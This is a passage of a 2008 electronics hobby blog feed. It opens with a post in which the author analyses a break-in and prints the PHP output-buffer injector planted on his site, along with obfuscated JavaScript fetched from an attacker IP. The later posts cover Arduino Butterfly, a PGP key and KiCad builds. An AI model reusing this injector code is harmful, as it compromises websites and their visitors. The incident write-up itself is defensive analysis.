$v)if(count(explode("\n",$v))&amp;gt;5){$e=preg_match('#[\'\"][^\s\'\"\.,;\?!\[\]:/&amp;lt;&amp;gt;\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&amp;amp;&amp;amp;($e||strpos($v,'fromCharCode')))||($e&amp;amp;&amp;amp;strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw=='),'',$s);if(stristr($s,'&amp;lt;/body'))$s=preg_replace('#(\s*&amp;lt;/body)#mi',str_replace('\$','\\\$',TMP_XHGFJOKL).'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'&amp;lt;body')||stristr($s,'&amp;lt;/title&amp;gt;'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&amp;amp;&amp;amp;$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i&amp;gt;=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i&amp;lt;count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;That whole base64 encoded things boils down to the same javascript seen above. I have emailed the ISP managers for the IP addresses pointed at by the code and they can investigate further should they wish.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What does the code do ? Well it goes to the to ip addresses and runs the code found at &lt;br /&gt;&lt;i&gt;http://78.110.175.21/cp/?I&lt;/i&gt;  which is currently :&lt;br /&gt;&lt;blockquote&gt;_=0;for(i=0;i&amp;lt;9;i++){var d=document.getElementById("_"+i&lt;br /&gt;+"_");if(d)d.src=""}evalDISABLED(unescape('%2F/%4A`u#%73!%74%20~%66~u@c#k`%20#of`%66#.&lt;br /&gt;%2E%2E`@%3C#d#%69v%20st%79%6Ce~=@d%69@%73#pl%61~y%3A~n`%6F@n%65$%3E\n~%76@ar|&lt;br /&gt;%20%74@%3D%6E@%65w@ %44$a!t!e#%281#%32@29%39|7$308@30%300);%64!%6F$%63~%75me$n$&lt;br /&gt;%74!.@%63o`ok|%69~e=%22h%67!%66#%74|%3D%31`;$%20#e%78@%70|%69#%72%65`s=%22#%2B&lt;br /&gt;%74|%2E@t%6FG%4D%54!St$r`i`%6E`%67#(%29#+|"; %70%61|%74%68@%3D/%22@;\n%2F@%2F!&lt;br /&gt;%3C/%64`iv|%3E').replace(/@|\!|~|\?|#|\$|`|\|/g,""));&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;which is un-obfuscated to :&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;//Just fuck off...&amp;amp;lt;div style=display:none&amp;amp;gt;&lt;br /&gt;var t=new Date(1229972812000);document.cookie="hgft=1; expires="+t.toGMTString()+"; path=/";&lt;br /&gt;//&amp;amp;lt;/div&amp;amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;which simply saves a cookie.  But I would assume that later the hacker would replace this code with something more worthwhile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-7262657374822112650?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/' title='Hacked... again....'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/7262657374822112650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=7262657374822112650' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7262657374822112650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7262657374822112650'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/12/hackers-claiming-to-be-muslims-from.html' title='Hacked... again....'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1554111746546905117</id><published>2008-12-15T22:20:00.002Z</published><updated>2008-12-15T22:27:13.493Z</updated><title type='text'>More Arduino Butterfly</title><content type='html'>David Knaack has done a great job setting up the Butteruino project over on google code.&lt;br /&gt;You can find it at http://code.google.com/p/butteruino/&lt;br /&gt;&lt;br /&gt;I'd hoped to get an LCD library up this weekend but got bogged down in a good book; oh well perhaps next weekend.&lt;br /&gt;At least I should get some stress testing done on the butterfly logger at -37 degrees C this week due to a busted thermostat on the freezer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1554111746546905117?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://code.google.com/p/butteruino/' title='More Arduino Butterfly'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1554111746546905117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1554111746546905117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1554111746546905117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1554111746546905117'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/12/more-arduino-butterfly.html' title='More Arduino Butterfly'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-8594351579069279737</id><published>2008-12-15T22:17:00.003Z</published><updated>2008-12-15T22:19:59.944Z</updated><title type='text'>Cryptonomicon and PGP Key</title><content type='html'>Just finished Neal Stephenson's CRYPTONOMICON. Great book, like the alternative reality of Finux and things like the galvanic lucifer. Anyway makes me want to post my PGP Key.&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;br /&gt;Version: GnuPG v1.4.8 (Darwin)&lt;br /&gt;&lt;br /&gt;mQGiBESDrL8RBAC9J6gKjVuWrlwsMsRkHgqAVKSS/sTwyfoPrRpba7E0XctNnXhf&lt;br /&gt;Vkcy9eEt8mN6MSL9haxv8U+Xlw4tSj9MEpdwVwSZT+oGD1ORN9MYnun7+7Kq8ZIj&lt;br /&gt;tDEL/Xbd4L6VbqlML8gNBFE18EXYNOzHVbVFmNJkZPLRx9ldZ+YopiqUfwCg6+jt&lt;br /&gt;bXn5UoLN1pE/lzW6SLhgpIUEAKVleqUC6R27ZzqyPGjmqaYUzvDyVDoldASKxHd7&lt;br /&gt;IxAto1v+k9QNSDaa4iqykFStk4pBEV9KO29QVt4CyaK6rKFSvPKmQW5rI6pA45Yq&lt;br /&gt;wRygfRLzqdUg/oUOny58F65urTOvdtfQtCLGxqRNS50iabwhXihRKBUQBb25hD3n&lt;br /&gt;FBoOA/9+A/3w5iRRld0jnWEpqJI7JRMpMV3oT+IeHvXToWpCUF9LQEv8X012dzDU&lt;br /&gt;a+uO5rOx9dwz8SZ9V02YrqYR9We+7xYe6Dp4q0r2OdhqnrEc/E4wdDxC165Br+Hg&lt;br /&gt;fWwGc7Mxi5MniljSlzrw5uCutEXQ21Kly+/wUlnR1LJkRmdcZbQnTmljayBMb3R0&lt;br /&gt;IChOWikgPG5pY2subG90dEBnbWFpbC5ub3NwYW0+iGAEExECACAFAkSDrL8CGwMG&lt;br /&gt;CwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRAHV5jGyG2/QlYpAJ9G0y5cNqoiXnBD&lt;br /&gt;jhmxUETZvcFwLACfQ9OUEySKcTimR+I5qTJ9D7iJGTS5Ag0ERIOuKBAIAKHeDMEO&lt;br /&gt;qFgPfoSabl9BHemuOgVvZsr481DTWFYnJAH1n9qZE8hZ4MTbn/zXpIJS4ozJAyhJ&lt;br /&gt;5mS/K6/3HunSvdBeMkaqVtjoCXdkTWWm9XQMeseSRffjRbNyeoroLlm3tkVRMJNh&lt;br /&gt;rjN/Al1Abq3ESfZzuY8VBLGRfDPUeToNHSCLnOvD+ijMBEYsr5ds8Bi77tWAbSdR&lt;br /&gt;loL3aGHIkj3fPFJmNjrAl7WZXgvl1p899tY4N19RXVkdhagcb3uVmAJjd6l7y8x3&lt;br /&gt;l02jBCk3YQiRMBIG8kov+rDgZwgVaGYEitg9DxRph02sHfxEGt3fmKVLLcS1BB0M&lt;br /&gt;YprObqBOwxHlx9cAAwUH/1iq+9VTh0uuKQsA+qCOthBNqsf62g0r/NJsnZoiMAvA&lt;br /&gt;sLvrpwD7mzGMc+Ke7W2578IvL+Fnvmi+s67Gg2+6DAk3VkJEH9+y1CkDb8PqAxRp&lt;br /&gt;sLFlvi4YcXsbXdG2UgMrfEWeIr2z0VYWGnZ3GibqUDf7rxu79ah5T8Z7ajNLEEHF&lt;br /&gt;+wzXQ7vEzZVBeytL6lv+JZ5s5umRhjCy0flMZ/Js53g5IH5NMu/vrJrQTU+jREDw&lt;br /&gt;+faEb3yBUaSX3N1pu88CWGdwqBVH16rt+AbHXa7kKqY46kM10QZWpHLPCzzw+jlH&lt;br /&gt;c2udYs4kPyfVTSe6RG4mRD8hgx7Y/Hhnbtz5TIeH8DiISQQYEQIACQUCRIOuKAIb&lt;br /&gt;DAAKCRAHV5jGyG2/Qq4zAJ0Q5asX37oT2Ih3aKiQinBdhTgqcwCgi264VRyWK1Cb&lt;br /&gt;CIeQYCKAqEVp4nI=&lt;br /&gt;=oFPt&lt;br /&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-8594351579069279737?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.nealstephenson.com/' title='Cryptonomicon and PGP Key'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/8594351579069279737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=8594351579069279737' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8594351579069279737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8594351579069279737'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/12/cryptonomicon-and-pgp-key.html' title='Cryptonomicon and PGP Key'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-3108308128589745502</id><published>2008-11-30T23:39:00.002Z</published><updated>2008-11-30T23:44:20.556Z</updated><title type='text'>Arduino for the Butterfly</title><content type='html'>Just done a first pass of the butterfly version of the arduino12&lt;br /&gt;You can download my files from http://www.brokentoaster.com/arduino012_butterfly.zip&lt;br /&gt;&lt;br /&gt;Any thoughts or feedback most welcome.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Things you need to do to make it work:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;* copy the files &amp; folders into your arduino Hardware directory.&lt;br /&gt;&lt;br /&gt;* change preferences.txt to upload.using=butterfly&lt;br /&gt;&lt;br /&gt; This preferences file is found in this folder:&lt;br /&gt;&lt;br /&gt;     * /Users/&lt;USERNAME&gt;/Library/Arduino/preferences.txt (Mac)&lt;br /&gt;     * c:\Documents and Settings\&lt;USERNAME&gt;\Application Data\Arduino\preferences.txt (Windows)&lt;br /&gt;     * ~/.arduino/preferences.txt (Linux) &lt;br /&gt;&lt;br /&gt;* push the button when uploading starts&lt;br /&gt;* dont hold the button down the entire time.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Things to do in the future:&lt;/span&gt;&lt;br /&gt;Build a Butterfly library for &lt;br /&gt; - temperature&lt;br /&gt; - flash&lt;br /&gt; - light sensor&lt;br /&gt; - speaker&lt;br /&gt; - LCD&lt;br /&gt; - Joystick&lt;br /&gt; &lt;br /&gt;* check analog pins (jtag port)&lt;br /&gt;* check digital pinouts on port b and D&lt;br /&gt;* check all the timmings&lt;br /&gt;* check it makes sense. &lt;br /&gt; &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NOTES: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These are things I've done to my files to make it kind of work. They may or may not have been necessary. I tried using conditional compilation but it wasn't being picked up so I just copied the core andmade changes to that.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* added following to boards.txt to support as a target compilation board&lt;br /&gt; bfly.name=Butterfly&lt;br /&gt;&lt;br /&gt; bfly.upload.protocol=butterfly&lt;br /&gt; bfly.upload.maximum_size=14336&lt;br /&gt; bfly.upload.speed=19200&lt;br /&gt;&lt;br /&gt; bfly.bootloader.low_fuses=0xE2&lt;br /&gt; bfly.bootloader.high_fuses=0x98&lt;br /&gt; bfly.bootloader.extended_fuses=0xFF&lt;br /&gt; bfly.bootloader.path=butterfly&lt;br /&gt; bfly.bootloader.file=bf_boot.hex&lt;br /&gt; bfly.bootloader.unlock_bits=0x3F&lt;br /&gt; bfly.bootloader.lock_bits=0x0F&lt;br /&gt;&lt;br /&gt; bfly.build.mcu=atmega169&lt;br /&gt;&lt;br /&gt;* added Bf_boot to bootloaders dir&lt;br /&gt; - copied hex from bf_boot up to bootloaders/bf_boot and renamed bf_boot.hex&lt;br /&gt;&lt;br /&gt;* removed second external interupt from hardware/cores/arduino/WInterrupts.c: -&gt; changes not picked up??&lt;br /&gt;&lt;br /&gt;* changed boards.txt core = butterfly&lt;br /&gt; - copied arduino core folder and renamed to be buttefly&lt;br /&gt; - changes to hardware/cores/butterfly/WInterrupts.c&lt;br /&gt; - changes to hardware/cores/butterfly/wiring.c  TCCR0 - &gt; TCCR0A  &lt;br /&gt; - changes to hardware/cores/butterfly/wiring_analog.c: In function 'analogWrite':&lt;br /&gt; - changes to hardware/cores/butterfly/wiring_digital.c: In function 'turnOffPWM':&lt;br /&gt;&lt;br /&gt;* added avrispv2 to programmers.txt&lt;br /&gt;* added butterfly to external programmers&lt;br /&gt;&lt;br /&gt;Download these files at&lt;a href="http://www.brokentoaster.com/arduino012_butterfly.zip"&gt; http://www.brokentoaster.com/arduino012_butterfly.zip&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-3108308128589745502?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/arduino012_butterfly.zip' title='Arduino for the Butterfly'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/3108308128589745502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=3108308128589745502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3108308128589745502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3108308128589745502'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/11/arduino-for-butterfly.html' title='Arduino for the Butterfly'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6257872669195957480</id><published>2008-10-07T23:06:00.005+01:00</published><updated>2008-11-08T12:16:19.480Z</updated><title type='text'>Great eagle layout  screen casts</title><content type='html'>Just saw these great screen casts &lt;a href="http://ruinwesen.com/blog?id=181"&gt;here&lt;/a&gt; showing layout procedure for a guitar pedal using Eagle.&lt;br /&gt;You can get Eagle from &lt;a href="http://www.cadsoft.de/"&gt;cadsoft&lt;/a&gt;. I saw this link over at &lt;a href="http://www.ladyada.net/rant/"&gt;ladyada.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;NOTE: Sparkfun have just put up a tutoral on PCB layout &lt;a href="http://www.sparkfun.com/commerce/tutorial_info.php?tutorials_id=115"&gt;HERE&lt;/a&gt;. Its based on Eagle but is pretty much valid for any PCB package&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6257872669195957480?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ruinwesen.com/blog?id=181' title='Great eagle layout  screen casts'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6257872669195957480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6257872669195957480' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6257872669195957480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6257872669195957480'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/10/great-eagle-layout-screen-casts.html' title='Great eagle layout  screen casts'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1104349305625463714</id><published>2008-10-07T22:42:00.006+01:00</published><updated>2008-10-07T23:32:35.942+01:00</updated><title type='text'>New website home page and index</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zYnUjlpmq30/SOvjcAjC6HI/AAAAAAAAAAU/TdV_3S_gFKM/s1600-h/Picture+13.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_zYnUjlpmq30/SOvjcAjC6HI/AAAAAAAAAAU/TdV_3S_gFKM/s200/Picture+13.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5254543460580649074" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The shinny new website index is up but the shop is still a wee way off as I finalise the logistics of it all. &lt;br /&gt;&lt;br /&gt;If their are any PCBs, kits or specific components that you think I should stock then let me know at &lt;span style="font-weight:bold;"&gt;shop at. brokentoaster dot. com&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1104349305625463714?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/' title='New website home page and index'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1104349305625463714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1104349305625463714' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1104349305625463714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1104349305625463714'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/10/new-website-home-page-and-index.html' title='New website home page and index'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_zYnUjlpmq30/SOvjcAjC6HI/AAAAAAAAAAU/TdV_3S_gFKM/s72-c/Picture+13.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6414842729589321053</id><published>2008-09-10T21:33:00.002+01:00</published><updated>2008-09-10T21:41:55.178+01:00</updated><title type='text'>Kicad SVN builds for OSX</title><content type='html'>I've managed to cobble together some universal builds of kicad for mac osx. These a based on wxMac2.8  so the graphics is still very screwy. I might try a wxCocoa build some time in the future.&lt;br /&gt;&lt;br /&gt;The script which is on a cron job to run every day is below.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;#Make a nightly build of kicad&lt;br /&gt;&lt;br /&gt;#update from svn&lt;br /&gt;cd /Volumes/Scratch/kicad-sources&lt;br /&gt;svn up &lt;br /&gt;new_version=`svn info | grep Revision | cut -f 2 -d\ `&lt;br /&gt;old_version=`cat /temp/install/version.txt`&lt;br /&gt;if [ $new_version -gt $old_version ]&lt;br /&gt;then&lt;br /&gt; &lt;br /&gt; #build it&lt;br /&gt; cd build/release&lt;br /&gt; cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=/usr/bin/wx-config -DwxWidgets_ROOT_DIR=/Volumes/Scratch/wxMac-2.8.8/include -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/Volumes/Scratch/kicad-sources -DCMAKE_OSX_ARCHITECTURES="ppc -arch i386" -DCPP_FLAGS="-arch i386 -arch ppc"&lt;br /&gt;&lt;br /&gt; make clean &lt;br /&gt; if  make &lt;br /&gt; then&lt;br /&gt;  make install&lt;br /&gt;  &lt;br /&gt;  #bundle&lt;br /&gt;  cd /temp/&lt;br /&gt;  tar -czf kicad_osx_v`cat install/version.txt`.tgz install &lt;br /&gt;&lt;br /&gt;  #upload&lt;br /&gt;  curl -T kicad_osx_v`cat install/version.txt`.tgz ftp://user:password@ftp.brokentoaster.com/&lt;br /&gt;&lt;br /&gt;  echo $new_version &gt; /temp/install/version.txt &lt;br /&gt; fi&lt;br /&gt;else&lt;br /&gt; echo "Kicad is uptodate :) "&lt;br /&gt;fi&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;You can find the builds at http://www.brokentoaster.com/kicad/. No guarantees on usefulness.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6414842729589321053?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/kicad/' title='Kicad SVN builds for OSX'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6414842729589321053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6414842729589321053' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6414842729589321053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6414842729589321053'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/09/kicad-svn-builds-for-osx.html' title='Kicad SVN builds for OSX'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-3689762818515077293</id><published>2008-09-06T19:28:00.002+01:00</published><updated>2008-09-06T19:29:43.252+01:00</updated><title type='text'>ButerflyMP3 PCBs and Kits?</title><content type='html'>Have begun looking at getting some PCBs produced and kits together for sale over the website. Haven't worked out quantity and costs yet but I'm aiming for around $8 USD for a PCB and around $25 USD for a Kit (components only).&lt;br /&gt;&lt;br /&gt;If you are interested in either option  then email me at &lt;br /&gt;&lt;br /&gt;buy_pcbs at brokentoaster dot com&lt;br /&gt;&lt;br /&gt;The prices are really only ballpark speculation at this point as they depend heavily on quantity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-3689762818515077293?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/3689762818515077293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=3689762818515077293' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3689762818515077293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/3689762818515077293'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/09/pcbs-and-kits.html' title='ButerflyMP3 PCBs and Kits?'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-4348069614831191183</id><published>2008-08-22T07:00:00.000+01:00</published><updated>2008-08-22T07:02:57.486+01:00</updated><title type='text'>Kicad now compiles on Mac OSX</title><content type='html'>Just downloaded revison 1200 of kicad from svn using th following command&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;svn checkout http://kicad.svn.sourceforge.net/svnroot/kicad/trunk/kicad kicad-sources&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I also upgraded to cmake 2.6.0 using the macports system and then followed the included instructions and it &lt;b&gt;compiles&lt;/b&gt; ok on my macbook.&lt;br /&gt;&lt;br /&gt;It is working a lot better but PCBnew is still fairly buggy.&lt;br /&gt;The schematic side of it is working great though.&lt;br /&gt;&lt;br /&gt;Worth a look but I'll have to keep using the windows version for any stable work.&lt;br /&gt;I'm going to keep an eye on the kicad-dev group and see if this makes any progress.&lt;br /&gt;&lt;br /&gt;Note: my wxwidgets were installed via macports at &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;wxWidgets_CONFIG_EXECUTABLE=/opt/local/bin/wx-config&lt;br /&gt;wxWidgets_ROOT_DIR=/opt/local/include/wx-2.8&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;but i noticed a version was already installed in a couple of places. Here is what locate gave me:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;% locate wx.h&lt;br /&gt;/Developer/SDKs/MacOSX10.4u.sdk/usr/include/wx-2.5/wx/wx.h&lt;br /&gt;/Developer/SDKs/MacOSX10.5.sdk/usr/include/wx-2.8/wx/wx.h&lt;br /&gt;/opt/local/include/wx-2.8/wx/wx.h&lt;br /&gt;/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/include/wx-2.8/wx/wx.h&lt;br /&gt;/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/include/wx-2.8/wx/wx.h&lt;br /&gt;/usr/include/wx-2.8/wx/wx.h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;% locate wx-config&lt;br /&gt;/opt/local/bin/wx-config&lt;br /&gt;/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/bin/wx-config&lt;br /&gt;/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/bin/wx-config&lt;br /&gt;/usr/bin/wx-config&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-4348069614831191183?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/4348069614831191183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=4348069614831191183' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4348069614831191183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/4348069614831191183'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2008/08/kicad-now-compiles-on-mac-osx.html' title='Kicad now compiles on Mac OSX'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' 